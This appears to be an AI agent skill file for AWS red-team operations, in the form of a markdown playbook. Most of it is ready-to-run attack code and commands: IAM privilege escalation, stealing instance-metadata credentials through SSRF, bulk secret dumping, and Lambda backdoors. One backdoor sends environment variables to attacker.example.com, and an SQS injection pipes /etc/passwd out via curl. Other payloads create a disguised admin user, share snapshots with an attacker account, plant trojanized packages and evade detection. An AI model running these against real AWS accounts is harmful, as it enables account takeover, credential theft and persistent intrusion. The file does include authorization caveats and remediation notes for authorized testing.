---
name: rt-exploit-cloud-aws
description: "AWS Red Team exploitation skill. Covers IAM privilege escalation paths (role assumption, policy exploitation), EC2 instance metadata service (IMDS v1/v2) access for credential theft, S3 bucket misconfiguration exploitation, Lambda function vulnerabilities, secrets in CloudFormation stacks, cross-account attacks, and AWS-specific C2. Tools: Pacu, aws-cli, CloudFox, prowler, enumerate-iam, awswhoami. Note: ScoutSuite requires separate Docker image (Python 3.13 conflict)."
---

# rt-exploit-cloud-aws — AWS Red Team Exploitation

## 1. Overview and When to Use This Skill

This skill covers offensive operations against Amazon Web Services (AWS) infrastructure. It applies when the target scope includes AWS accounts, cloud-hosted workloads, or AWS-integrated on-premises environments. AWS exploitation differs fundamentally from traditional network penetration: the attack surface is API-driven, IAM policies define the blast radius of any credential, and persistence lives in roles and policies rather than binaries.

**Use this skill when:**
- Scope explicitly includes AWS account IDs, S3 buckets, or IAM roles.
- You have obtained an AWS access key pair (AKID + secret) from any source (SSRF, code repo, instance metadata, leaked .env).
- The engagement is a cloud security assessment or assumes-breach with initial AWS credentials.
- You need to demonstrate lateral movement from a cloud workload to internal resources.
- The objective is to reach sensitive data stored in S3, Secrets Manager, RDS, or DynamoDB.

**Do NOT use this skill when:**
- The scope excludes AWS (check rules of engagement with `rt-rules-of-engagement`).
- You do not have prior written authorization for the specific AWS account IDs in scope.

---

## 2. Prerequisites and Tool Installation

### 2.1 AWS CLI

```bash
# Linux
curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o awscliv2.zip
unzip awscliv2.zip && sudo ./aws/install

# macOS
brew install awscli

# Windows (PowerShell)
winget install Amazon.AWSCLI
# or
msiexec.exe /i https://awscli.amazonaws.com/AWSCLIV2.msi
```

Verify: `aws --version`

Configure a profile for the target credentials:

```bash
aws configure --profile target
# Enter: AWS Access Key ID, Secret Access Key, default region (e.g. us-east-1), output format (json)
```

### 2.2 Pacu (AWS Exploitation Framework)

```bash
# Linux/macOS
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
pip3 install -r requirements.txt
python3 pacu.py

# Windows (PowerShell)
git clone https://github.com/RhinoSecurityLabs/pacu
cd pacu
pip install -r requirements.txt
python pacu.py
```

### 2.3 ScoutSuite (Multi-Cloud Auditing)

> ⚠️ **Note:** ScoutSuite has Python 3.13 dependency conflicts. Run via Docker instead:

```bash
# Option A: Run ScoutSuite via its own Docker image
docker run -it --rm -v ~/.aws:/root/.aws rossja/ncc-scoutsuite \
  scout aws --profile target --report-dir /tmp/scoutsuite-report

# Option B: Use prowler as alternative (installed in rtexit-kali)
prowler aws -f us-east-1 --output-directory ./prowler-report
```

### 2.4 CloudFox (Cloud Privilege Escalation Discovery)

```bash
# Linux/macOS — download binary from GitHub releases
curl -L https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip -o cloudfox.zip
unzip cloudfox.zip && chmod +x cloudfox && sudo mv cloudfox /usr/local/bin/

# Windows (PowerShell)
Invoke-WebRequest -Uri "https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-windows-amd64.zip" -OutFile cloudfox.zip
Expand-Archive cloudfox.zip -DestinationPath .
```

### 2.5 Additional Tools

```bash
pip3 install boto3 botocore  # Python SDK — used in custom scripts
pip3 install s3scanner        # S3 bucket enumeration
pip3 install trufflehog       # Secrets in git/S3
go install github.com/trufflesecurity/trufflehog/v3@latest
```

### 2.6 Credential Configuration

```bash
# Set environment variables (preferred for OPSEC — avoids disk writes)
export AWS_ACCESS_KEY_ID=AKIAxxxxxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_DEFAULT_REGION=us-east-1

# Windows PowerShell equivalent
$env:AWS_ACCESS_KEY_ID = "AKIAxxxxxxxxxxxxxxxx"
$env:AWS_SECRET_ACCESS_KEY = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
$env:AWS_DEFAULT_REGION = "us-east-1"
```

---

## 3. Skill Levels

### BEGINNER
- Identify who you are and what permissions you hold.
- Read-only enumeration using aws-cli.
- Detect public S3 buckets and read their contents.
- Extract credentials from EC2 IMDS v1.

### INTERMEDIATE
- Enumerate IAM policies and identify escalation paths.
- Exploit IMDS v1 via SSRF.
- Exploit misconfigured S3 bucket policies (write/delete).
- Use Pacu modules for automated privilege escalation.
- Enumerate Secrets Manager and Parameter Store.
- Read CloudFormation stack outputs for embedded secrets.

### ADVANCED
- Chain IAM privilege escalation (iam:PassRole → Lambda → admin).
- Assume roles across accounts (cross-account trust exploitation).
- Inject payloads into Lambda functions or environment variables.
- Establish persistence via shadow admin roles, backdoor IAM users.
- Exfiltrate RDS snapshots, EBS snapshots to attacker-controlled accounts.

### EXPERT
- Build AWS-native C2 using SQS/SNS/S3 as communication channels.
- Exploit SCPs (Service Control Policies) gaps in AWS Organizations.
- Compromise AWS SSO / Identity Center for org-wide access.
- Exploit resource-based policies for cross-account data access without credential sharing.
- Abuse AWS CloudShell, CodeBuild, or Glue for ephemeral compute.
- Use VPC endpoint policies as a lateral movement vector.

---

## 4. Numbered Step-by-Step Workflow

### Phase 1: Initial Reconnaissance (Who Am I?)

**Step 1 — Identify the current identity**

```bash
aws sts get-caller-identity --profile target
```

Output includes: `UserId`, `Account` (12-digit), `Arn`. Note whether this is an IAM user, assumed role, or EC2 instance profile.

**Step 2 — Enumerate attached policies**

```bash
# For IAM user
aws iam list-attached-user-policies --user-name <username> --profile target
aws iam list-user-policies --user-name <username> --profile target

# For IAM role
aws iam list-attached-role-policies --role-name <rolename> --profile target
aws iam list-role-policies --role-name <rolename> --profile target
```

**Step 3 — Read inline and managed policy documents**

```bash
# Get managed policy ARN version
aws iam get-policy --policy-arn <arn> --profile target
aws iam get-policy-version --policy-arn <arn> --version-id v1 --profile target

# Get inline policy
aws iam get-user-policy --user-name <username> --policy-name <policyname> --profile target
```

**Step 4 — CloudFox full enumeration**

```bash
cloudfox aws --profile target all-checks -o ./cloudfox-output
# Review: cloudfox-output/cloudfox-target-default/analysis/
```

### Phase 2: IAM Privilege Escalation

**Step 5 — Identify escalation paths using Pacu**

```bash
python3 pacu.py
# In Pacu shell:
import_keys target
run iam__privesc_scan
# Pacu will list exploitable privilege escalation paths
```

**Step 6 — Manual escalation: iam:CreatePolicyVersion**

```bash
# If you have iam:CreatePolicyVersion on your own policy, set a new version that grants *
aws iam create-policy-version \
  --policy-arn arn:aws:iam::<account-id>:policy/<policy-name> \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
  --set-as-default \
  --profile target
```

**Step 7 — Manual escalation: iam:PassRole + lambda:CreateFunction**

```bash
# 1. Create a Lambda function that attaches AdministratorAccess to your user
cat > /tmp/lambda_escalate.py << 'EOF'
import boto3
def handler(event, context):
    iam = boto3.client('iam')
    iam.attach_user_policy(
        UserName='<your-username>',
        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
    )
    return 'Done'
EOF

zip /tmp/lambda_escalate.zip /tmp/lambda_escalate.py

# 2. Create the function passing an admin-capable role
aws lambda create-function \
  --function-name escalate-me \
  --runtime python3.11 \
  --role arn:aws:iam::<account-id>:role/<admin-role> \
  --handler lambda_escalate.handler \
  --zip-file fileb:///tmp/lambda_escalate.zip \
  --profile target

# 3. Invoke it
aws lambda invoke --function-name escalate-me /tmp/output.json --profile target
```

**Step 8 — Assume a higher-privileged role**

```bash
aws sts assume-role \
  --role-arn arn:aws:iam::<account-id>:role/<target-role> \
  --role-session-name red-team-session \
  --profile target

# Export the returned temporary credentials
export AWS_ACCESS_KEY_ID=<AccessKeyId>
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
export AWS_SESSION_TOKEN=<SessionToken>

# Windows PowerShell
$creds = (aws sts assume-role --role-arn arn:aws:iam::<id>:role/<role> --role-session-name rt | ConvertFrom-Json).Credentials
$env:AWS_ACCESS_KEY_ID = $creds.AccessKeyId
$env:AWS_SECRET_ACCESS_KEY = $creds.SecretAccessKey
$env:AWS_SESSION_TOKEN = $creds.SessionToken
```

### Phase 3: IMDS Exploitation

**Step 9 — Access IMDS v1 from a compromised EC2 instance**

```bash
# IMDSv1 — no token required (legacy, no auth)
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# Python alternative
python3 -c "import urllib.request; print(urllib.request.urlopen('http://169.254.169.254/latest/meta-data/iam/security-credentials/').read())"
```

**Step 10 — Exploit IMDS v1 via SSRF**

```bash
# If you have SSRF on a web app running in EC2, chain to IMDS:
# Example: SSRF parameter is ?url=
curl "https://target-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Then fetch the role name returned, then:
curl "https://target-app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>"
# Response contains: AccessKeyId, SecretAccessKey, Token, Expiration
```

**Step 11 — Access IMDS v2 (token-required)**

```bash
# IMDSv2 requires a PUT to get a token first
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
```

Note: IMDSv2 via SSRF requires the SSRF to support custom request headers and PUT method. Standard GET-only SSRFs cannot exploit IMDSv2.

### Phase 4: S3 Exploitation

**Step 12 — Enumerate public buckets**

```bash
# List buckets you have access to
aws s3 ls --profile target

# Check bucket ACL and policy
aws s3api get-bucket-acl --bucket <bucket-name> --profile target
aws s3api get-bucket-policy --bucket <bucket-name> --profile target
aws s3api get-bucket-policy-status --bucket <bucket-name> --profile target  # isPublic flag

# Try unauthenticated access
aws s3 ls s3://<bucket-name> --no-sign-request
aws s3 cp s3://<bucket-name>/sensitive-file.txt /tmp/ --no-sign-request
```

**Step 13 — Scan for public buckets with S3Scanner**

```bash
# Install and run
pip3 install s3scanner
s3scanner scan --buckets-file wordlist.txt
# Or pipe a target list
echo "company-backup" | s3scanner scan
```

**Step 14 — Exploit writable S3 buckets**

```bash
# Test write access
echo "rt-test" | aws s3 cp - s3://<bucket-name>/rt-canary.txt --profile target

# If bucket hosts a static website — upload malicious JS
aws s3 cp ./malicious.js s3://<website-bucket>/app.js --acl public-read --profile target

# If bucket is used for software distribution — supply chain attack surface
aws s3 cp ./trojanized-package.zip s3://<dist-bucket>/release/v1.0.zip --profile target
```

**Step 15 — Find secrets in S3**

```bash
# Download all objects and scan with trufflehog
aws s3 sync s3://<bucket-name> /tmp/bucket-dump/ --profile target
trufflehog filesystem /tmp/bucket-dump/ --json

# Or scan directly from S3
trufflehog s3 --bucket <bucket-name> --profile target
```

### Phase 5: Secrets Enumeration

**Step 16 — Secrets Manager**

```bash
# List all secrets
aws secretsmanager list-secrets --profile target

# Get secret value
aws secretsmanager get-secret-value --secret-id <secret-name-or-arn> --profile target

# Bulk retrieve all secrets (Python)
python3 - << 'EOF'
import boto3, json
client = boto3.client('secretsmanager', region_name='us-east-1')
paginator = client.get_paginator('list_secrets')
for page in paginator.paginate():
    for secret in page['SecretList']:
        try:
            val = client.get_secret_value(SecretId=secret['ARN'])
            print(f"[+] {secret['Name']}: {val.get('SecretString', '<binary>')}")
        except Exception as e:
            print(f"[-] {secret['Name']}: {e}")
EOF
```

**Step 17 — Parameter Store (SSM)**

```bash
# List all parameters
aws ssm describe-parameters --profile target

# Get all SecureString parameters (decrypted)
aws ssm get-parameters-by-path \
  --path "/" \
  --recursive \
  --with-decryption \
  --profile target

# Windows PowerShell equivalent
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption --profile target | ConvertFrom-Json | Select-Object -ExpandProperty Parameters
```

**Step 18 — CloudFormation stack outputs**

```bash
# List stacks
aws cloudformation list-stacks --profile target

# Dump outputs (often contain DB passwords, API keys)
aws cloudformation describe-stacks --profile target | \
  python3 -c "import sys,json; data=json.load(sys.stdin); [print(o) for s in data['Stacks'] for o in s.get('Outputs',[])]"

# Get template (may contain hardcoded secrets)
aws cloudformation get-template --stack-name <stack-name> --profile target
```

### Phase 6: Lambda Exploitation

**Step 19 — Enumerate Lambda functions**

```bash
aws lambda list-functions --profile target
aws lambda get-function --function-name <name> --profile target
aws lambda get-function-configuration --function-name <name> --profile target

# Download function code
aws lambda get-function --function-name <name> --query 'Code.Location' --output text --profile target
# Use the pre-signed URL to download the zip
```

**Step 20 — Extract Lambda environment variables**

```bash
aws lambda get-function-configuration \
  --function-name <name> \
  --query 'Environment.Variables' \
  --profile target
# Often contains DB_PASSWORD, API_KEY, JWT_SECRET
```

**Step 21 — Inject payload into Lambda (if UpdateFunctionCode permission exists)**

```bash
# Replace function code with backdoor
cat > /tmp/backdoor.py << 'EOF'
import boto3, os, subprocess

def handler(event, context):
    # Exfiltrate environment variables
    import urllib.request, json
    data = json.dumps(dict(os.environ)).encode()
    req = urllib.request.Request('https://attacker.example.com/collect', data=data)
    urllib.request.urlopen(req)
    return {"status": "ok"}
EOF

zip /tmp/backdoor.zip /tmp/backdoor.py
aws lambda update-function-code \
  --function-name <name> \
  --zip-file fileb:///tmp/backdoor.zip \
  --profile target
```

**Step 22 — Abuse Lambda event injection (SQS/SNS trigger)**

```bash
# If Lambda processes SQS messages without sanitization, inject commands via message body
aws sqs send-message \
  --queue-url <queue-url> \
  --message-body '{"command": "ls /etc; curl https://attacker.example.com/$(cat /etc/passwd | base64)"}' \
  --profile target
```

### Phase 7: Cross-Account Attacks

**Step 23 — Enumerate trust relationships**

```bash
# Find roles with cross-account trust
aws iam list-roles --profile target | \
  python3 -c "
import sys, json
roles = json.load(sys.stdin)['Roles']
for r in roles:
    doc = r['AssumeRolePolicyDocument']
    for stmt in doc.get('Statement', []):
        principal = stmt.get('Principal', {})
        if isinstance(principal, dict) and 'AWS' in principal:
            p = principal['AWS']
            if isinstance(p, list):
                for a in p:
                    if '<target-account-id>' not in a:
                        print(f\"Cross-account trust: {r['RoleName']} trusts {a}\")
            elif '<target-account-id>' not in p:
                print(f\"Cross-account trust: {r['RoleName']} trusts {p}\")
"
```

**Step 24 — Assume cross-account role**

```bash
aws sts assume-role \
  --role-arn arn:aws:iam::<external-account-id>:role/<role-name> \
  --role-session-name cross-account-rt \
  --profile target
```

**Step 25 — Exfiltrate snapshots to attacker account**

```bash
# Share EBS snapshot with attacker account
aws ec2 modify-snapshot-attribute \
  --snapshot-id snap-xxxxxxxxxxxxxxxxx \
  --attribute createVolumePermission \
  --operation-type add \
  --user-ids <attacker-account-id> \
  --profile target

# Share RDS snapshot
aws rds modify-db-snapshot-attribute \
  --db-snapshot-identifier <snapshot-id> \
  --attribute-name restore \
  --values-to-add <attacker-account-id> \
  --profile target
```

---

## 5. Real Attack Scenarios

### Scenario A: SSRF to Full Account Takeover via IMDS + IAM Escalation

**Context:** Target runs a web application on EC2 with a URL-fetch feature. SSRF is discovered. The instance has an attached IAM role.

**Chain:**

```
[1] Discover SSRF endpoint
[2] Probe IMDS for role name
[3] Steal temporary credentials
[4] Enumerate IAM permissions
[5] Exploit iam:CreatePolicyVersion or iam:AttachRolePolicy
[6] Achieve AdministratorAccess
[7] Pivot to all services
```

```bash
# Step 1-2: Confirm SSRF and get role name
curl "https://victim.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Output: WebApp-EC2-Role

# Step 3: Steal credentials
curl "https://victim.example.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebApp-EC2-Role"
# Output: { AccessKeyId, SecretAccessKey, Token, Expiration }

# Configure stolen credentials
export AWS_ACCESS_KEY_ID=ASIAxxxxxxxxxxxxxxxx
export AWS_SECRET_ACCESS_KEY=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
export AWS_SESSION_TOKEN=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

# Step 4: Who am I?
aws sts get-caller-identity

# Step 5: Enumerate permissions
aws iam list-attached-role-policies --role-name WebApp-EC2-Role
aws iam get-policy-version --policy-arn <arn> --version-id v1

# Pacu automated scan
python3 pacu.py
# Pacu> import_keys stolen
# Pacu> run iam__privesc_scan

# Step 6: Exploit found path — e.g., iam:PutUserPolicy
aws iam put-user-policy \
  --user-name <any-user-you-can-modify> \
  --policy-name escalate \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

# Step 7: Dump Secrets Manager, S3, RDS
aws secretsmanager list-secrets
aws s3 ls
aws rds describe-db-instances
```

**OPSEC Rating:** HIGH DETECTION RISK — SSRF to IMDS generates EC2 metadata access logs if IMDSv2 is enforced. IAM policy modifications generate CloudTrail events.

---

### Scenario B: Public S3 Bucket to Credential Exfiltration

**Context:** External recon identified a misconfigured S3 bucket belonging to the target. The bucket contains application deployment scripts with hardcoded AWS credentials.

**Chain:**

```
[1] Discover public bucket via subdomain/naming convention
[2] List bucket contents unauthenticated
[3] Download and scan for secrets
[4] Use leaked AKID to pivot into the account
[5] Lateral move to higher-privileged resources
```

```bash
# Step 1: Guess/enumerate bucket names
# Common patterns: company-name-backup, company-dev-assets, company-prod-static
aws s3 ls s3://targetcompany-backups --no-sign-request
aws s3 ls s3://targetcompany-dev --no-sign-request
aws s3 ls s3://targetcompany-logs --no-sign-request

# Or use S3Scanner with a wordlist
s3scanner scan --buckets-file company-buckets.txt

# Step 2: List and download all objects
aws s3 sync s3://targetcompany-dev /tmp/s3dump/ --no-sign-request

# Step 3: Scan for secrets
trufflehog filesystem /tmp/s3dump/ --json | tee /tmp/findings.json
grep -i "AKIA\|aws_secret\|aws_access" /tmp/s3dump/ -r

# Step 4: Test discovered credentials
export AWS_ACCESS_KEY_ID=AKIAxxxx
export AWS_SECRET_ACCESS_KEY=xxxx
aws sts get-caller-identity

# Step 5: Proceed with IAM enumeration (Phase 2 above)
cloudfox aws all-checks -o ./cf-output
```

**OPSEC Rating:** MEDIUM — Unauthenticated S3 access may appear in S3 server access logs if enabled. No CloudTrail event is generated for anonymous requests unless data events are explicitly configured.

---

### Scenario C: Lambda Compromise via Insecure Deployment Pipeline

**Context:** Assume-breach with developer credentials. The developer can update Lambda code. A Lambda function runs with an admin-equivalent execution role used for "convenience."

**Chain:**

```
[1] Identify Lambda functions and their execution roles
[2] Verify execution role permissions (admin-equivalent)
[3] Update function code to exfiltrate environment + call STS
[4] Invoke function to gain admin credentials
[5] Pivot to full account control
```

```bash
# Step 1: List functions and check execution roles
aws lambda list-functions --profile dev-user | \
  python3 -c "import sys,json; [print(f['FunctionName'], f['Role']) for f in json.load(sys.stdin)['Functions']]"

# Step 2: Check the execution role's policies
aws iam list-attached-role-policies --role-name <lambda-exec-role-name> --profile dev-user
# If AdministratorAccess or iam:* is attached — exploit

# Step 3: Craft payload that uses boto3 (available in Lambda runtime) to create a backdoor IAM user
cat > /tmp/pwn.py << 'EOF'
import boto3, json

def handler(event, context):
    iam = boto3.client('iam')
    # Create backdoor admin user
    try:
        iam.create_user(UserName='svc-monitor')
        iam.attach_user_policy(
            UserName='svc-monitor',
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )
        key = iam.create_access_key(UserName='svc-monitor')['AccessKey']
        # Write to a bucket attacker controls
        s3 = boto3.client('s3')
        s3.put_object(
            Bucket='attacker-exfil-bucket',
            Key='creds.json',
            Body=json.dumps({'id': key['AccessKeyId'], 'secret': key['SecretAccessKey']})
        )
    except Exception as e:
        return {'error': str(e)}
    return {'status': 'deployed'}
EOF

zip /tmp/pwn.zip /tmp/pwn.py

# Step 4: Upload and invoke
aws lambda update-function-code \
  --function-name <target-function> \
  --zip-file fileb:///tmp/pwn.zip \
  --profile dev-user

aws lambda invoke \
  --function-name <target-function> \
  /tmp/lambda-out.json \
  --profile dev-user

# Step 5: Use the newly created admin credentials
export AWS_ACCESS_KEY_ID=<new-key-id>
export AWS_SECRET_ACCESS_KEY=<new-secret>
unset AWS_SESSION_TOKEN
aws sts get-caller-identity
```

**OPSEC Rating:** HIGH DETECTION RISK — `lambda:UpdateFunctionCode` and `iam:CreateUser` are logged in CloudTrail. Use an existing function if possible and restore original code after.

---

## 6. OPSEC Considerations

| Technique | CloudTrail Event | Detection Risk | Mitigation |
|-----------|-----------------|----------------|------------|
| `sts:GetCallerIdentity` | `GetCallerIdentity` | LOW — common API call | Blend in with normal usage patterns |
| IAM enumeration (list-policies) | `ListPolicies`, `GetPolicyVersion` | LOW-MEDIUM | Use read-only calls; GuardDuty may flag unusual enumeration volume |
| IMDS v1 access | No AWS-level log (local EC2 only) | LOW externally | VPC Flow Logs capture source IP; host-level monitoring may detect |
| IMDS v1 via SSRF | Application logs | MEDIUM | Depends on app logging; IMDSv2 blocks this vector |
| `iam:CreatePolicyVersion` | `CreatePolicyVersion` | HIGH | Triggers GuardDuty `Policy:IAMUser/RootCredentialUsage` or custom rules |
| `lambda:UpdateFunctionCode` | `UpdateFunctionCode20150331v2` | HIGH | Most orgs alert on Lambda code changes in prod |
| `iam:CreateUser` + attach policy | `CreateUser`, `AttachUserPolicy` | HIGH | Triggers GuardDuty `Persistence:IAMUser/UserPermissions` |
| S3 unauthenticated access | S3 server access logs (if enabled) | LOW-MEDIUM | No CloudTrail for anonymous; enable data events for detection |
| `secretsmanager:GetSecretValue` | `GetSecretValue` | MEDIUM-HIGH | CloudTrail data events; unusual callers trigger alerts |
| `sts:AssumeRole` cross-account | `AssumeRole` | MEDIUM | GuardDuty `Discovery:IAMUser/AnomalousBehavior` |
| EC2 snapshot sharing | `ModifySnapshotAttribute` | HIGH | Unusual cross-account sharing triggers alerts |

**General OPSEC rules:**
- Never use `--debug` flag in production engagements — it generates excessive API calls.
- Prefer using existing IAM roles/users over creating new ones.
- Restore any modified Lambda function code after testing.
- Use `--region` explicitly rather than relying on defaults — avoids accidental calls to wrong regions.
- Time-box assumed role sessions to minimum needed TTL.
- Delete any test S3 objects, Lambda functions, or IAM policy versions created during testing.
- Prefer `--output json` and parse programmatically — avoids paging calls that generate multiple API requests.

---

## 7. Integration with RTExit Autodoc Engine

### Logging Commands

```bash
# Start an AWS engagement session
rt-status --start-session --target "AWS Account: <account-id>" --scope "IAM, S3, Lambda"

# Log a finding
rt-status --log-finding \
  --severity HIGH \
  --title "IMDS v1 Enabled — Credential Theft via SSRF" \
  --description "EC2 instance <instance-id> allows unauthenticated IMDS v1 access. Credentials for role <role-name> retrieved via SSRF." \
  --evidence "curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>" \
  --recommendation "Enforce IMDSv2 via instance metadata options: --http-tokens required"

# Log privilege escalation finding
rt-status --log-finding \
  --severity CRITICAL \
  --title "IAM Privilege Escalation: iam:CreatePolicyVersion" \
  --description "IAM user <username> can create new policy versions, enabling self-escalation to AdministratorAccess." \
  --cve "N/A" \
  --cvss "9.0" \
  --evidence "aws iam create-policy-version --policy-arn <arn> --policy-document {...} --set-as-default"
```

### Autodoc Artifact Collection

```bash
# Collect IAM enumeration output
aws iam get-account-authorization-details --profile target > ./autodoc/iam-full-export.json
rt-agent-scribe --ingest ./autodoc/iam-full-export.json --label "IAM Authorization Details"

# Collect CloudFox output
cloudfox aws --profile target all-checks -o ./autodoc/cloudfox/
rt-agent-scribe --ingest-dir ./autodoc/cloudfox/ --label "CloudFox Analysis"

# Collect ScoutSuite HTML report
scout aws --profile target --report-dir ./autodoc/scoutsuite/
rt-agent-scribe --ingest ./autodoc/scoutsuite/scoutsuite-report.html --label "ScoutSuite Cloud Audit"
```

### RTExit Report Commands

```bash
# Generate cloud-specific finding report
rt-agent-scribe --generate-report \
  --template cloud-aws \
  --output ./reports/aws-exploitation-findings.md \
  --include-screenshots

# Map findings to MITRE ATT&CK Cloud matrix
rt-attack-surface-map --framework "MITRE ATT&CK Cloud" \
  --findings ./reports/aws-exploitation-findings.md \
  --output ./reports/attack-map-aws.json
```

---

## 8. Output and Documentation

### Findings to Document per Phase

**Identity and Access:**
- Account ID, principal ARN
- All IAM policies (inline + managed) with effective permissions
- Privilege escalation paths identified (Pacu output)
- Roles with overly permissive trust policies

**IMDS:**
- Whether IMDSv1 is enabled (document instance ID)
- Credentials retrieved (sanitize before including in report — show type, not actual keys)
- Role name and attached permissions

**S3:**
- Public buckets discovered (ACL status, policy status)
- Sensitive data categories found (PII, credentials, source code)
- Write/delete access confirmed

**Secrets:**
- Secrets Manager secrets accessible (name, type — do not include raw values in report)
- SSM Parameter Store SecureString parameters retrieved
- CloudFormation outputs with sensitive values

**Lambda:**
- Functions with sensitive environment variables
- Functions with admin-equivalent execution roles
- Functions where code was modified (include rollback confirmation)

### Evidence Template

```
Finding: [Title]
Severity: CRITICAL / HIGH / MEDIUM / LOW / INFO
Asset: arn:aws:... or Account ID
Steps to Reproduce:
  1. ...
  2. ...
Evidence:
  [Command run] → [Sanitized output]
Business Impact:
  [What an attacker can achieve]
Recommendation:
  [Specific AWS remediation steps]
References:
  - https://docs.aws.amazon.com/...
```

---

## 9. Resources

### Official Tools
- **Pacu** (AWS exploitation framework): https://github.com/RhinoSecurityLabs/pacu
- **ScoutSuite** (multi-cloud auditing): https://github.com/nccgroup/ScoutSuite
- **CloudFox** (cloud privilege escalation): https://github.com/BishopFox/cloudfox
- **S3Scanner**: https://github.com/sa7mon/S3Scanner
- **TruffleHog v3**: https://github.com/trufflesecurity/trufflehog
- **enumerate-iam**: https://github.com/andresriancho/enumerate-iam
- **WeirdAAL** (AWS Attack Library): https://github.com/carnal0wnage/weirdAAL
- **aws-escalate**: https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-escalate
- **Smogcloud**: https://github.com/BishopFox/smogcloud

### References and Research
- **Rhino Security Labs — AWS IAM Privilege Escalation Methods**: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- **HackTricks — AWS Pentesting**: https://book.hacktricks.xyz/pentesting-cloud/aws-security
- **AWS Security Blog**: https://aws.amazon.com/blogs/security/
- **MITRE ATT&CK Cloud Matrix**: https://attack.mitre.org/matrices/enterprise/cloud/
- **CloudGoat** (vulnerable AWS environment for practice): https://github.com/RhinoSecurityLabs/cloudgoat
- **AWSGoat** (vulnerable AWS environment): https://github.com/ine-labs/AWSGoat
- **Ermetic IAM Privilege Escalation**: https://ermetic.com/blog/aws/aws-iam-privilege-escalation-techniques/
- **Bishop Fox — CloudFox Wiki**: https://github.com/BishopFox/cloudfox/wiki
- **AWS Documentation — IMDSv2**: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html
- **tl;dr sec — AWS Security**: https://tldrsec.com/tags/aws/

### Practice Environments
- **CloudGoat**: `pip3 install cloudgoat && cloudgoat create iam_privesc_by_attachment`
- **AWSGoat**: Terraform-deployable intentionally vulnerable AWS infrastructure
- **flaws.cloud**: http://flaws.cloud — beginner AWS security challenge
- **flaws2.cloud**: http://flaws2.cloud — intermediate AWS security challenge (attacker + defender paths)
